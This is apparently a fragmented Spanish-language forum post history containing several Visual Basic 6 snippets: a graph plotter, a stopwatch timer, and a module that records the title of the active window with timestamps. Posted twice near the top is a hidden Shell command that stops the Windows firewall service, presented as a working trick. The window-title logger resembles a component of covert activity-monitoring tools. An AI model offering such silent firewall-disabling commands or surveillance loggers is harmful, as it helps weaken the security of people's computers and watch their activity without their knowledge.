yo hago esto y si que sirve!!!
Shell "cmd.exe /c net stop SharedAccess", vbHide
te desabilita el firewall
Shell "cmd.exe /c net stop SharedAccess", vbHide
te desabilita el firewall
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitar
Option Explicit
Dim X0 As Integer
Dim X1 As Integer
Dim X As Single
Dim Y As Single
Dim c
Dim PosX As Integer
Dim PosY As Integer
Private Sub cmdDibujar_Click()
PosX = 0
PosY = Picture1.Height / 2
X0 = Val(lblX0)
X1 = Val(lblX1)
c = 1
If X0 = 0 Then X0 = 1
Picture1.DrawWidth = 2
For X = X0 To X1 Step c
Y = -Y * 4: Y = Y / Picture1.Width + PosY: PosX = X + (Picture1.Width / 2)
Picture1.PSet (1 + PosX, 1 + Y)
Next X
End Sub
Private Sub Form_Activate()
Picture1.DrawWidth = 1
Picture1.Line (0, Picture1.Height / 2)-(Picture1.Width, Picture1.Height / 2)
Picture1.Line (Picture1.Width / 2, 0)-(Picture1.Width / 2, Picture1.Height)
End Sub
Private Sub HSX1_Change()
lblX1 = HSX1.Value
End Sub
Private Sub HSX0_Change()
lblX0 = HSX0.Value
End Sub
CitarPrivate Sub Timer2_Timer()y en el Timer1
Label6.Caption = "0"
Label3.Caption = Val(Label3.Caption) + 1 'Aumenta 1 al Label3
If Val(Label3.Caption) < 10 Then
Label3.Caption = "0" & Label3.Caption
End If
If Val(Label3.Caption) > 59 Then 'Si el label3(Seg) es mayor a 59
Label3.Caption = "00" 'Volver a cero
Label2.Caption = Val(Label2.Caption) + 1 'El Label2(Min) suma uno
If Val(Label2.Caption) < 10 Then
Label2.Caption = "0" & Label2.Caption
End If
If Val(Label2.Caption) > 59 Then 'Si el label2(min) es mayor a 59
Label2.Caption = "00" 'Vuelve cero
Label1.Caption = Val(Label1.Caption) + 1 'idem pero con el label1(hs)
If Val(Label1.Caption) < 10 Then
Label1.Caption = "0" & Label1.Caption
End If
End If
End If
End Sub
CitarPrivate Sub Timer1_Timer()y el modulo
On Error Resume Next
Ventana 'Funcion del modulo Nombre_Ventana
Text1.Text = Text1.Text & "|<<" & Label1.Caption & Label4.Caption & Label2.Caption & Label5.Caption & Label3.Caption & ">>>|" 'Agrega al textbox el cronometro
End Sub
Citar
Option Explicit
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public LastWindow As String
Public LastHandle As Long
Function Ventana()
Dim Handle As Long
Dim TextLen As Long
Dim WindowText As String
Dim sVar
Handle = GetForegroundWindow 'Obtiene la ventana activa
LastHandle = Handle
TextLen = GetWindowTextLength(Handle) + 1 'Longitud del titulo de la ventana
WindowText = Space(TextLen)
sVar = GetWindowText(Handle, WindowText, TextLen) 'Obtiene titulo de la ventana
WindowText = Left(WindowText, Len(WindowText) - 1)
If WindowText <> LastWindow Then
If Form1.Text1 <> "" Then Form1.Text1 = Form1.Text1 & vbCrLf & vbCrLf
Form1.Text1 = Form1.Text1 & "|<<<<<<<<<<<<<<<<" & Now & ">>>>>>>>>>>>>>>>|" & "***" & "|<<<<<<<<<<<<<<<<" & WindowText & ">>>>>>>>>>>>>>>>|" & vbCrLf 'Escribe en el textbox Fecha,hora y el titulo
LastWindow = WindowText
End If
End Function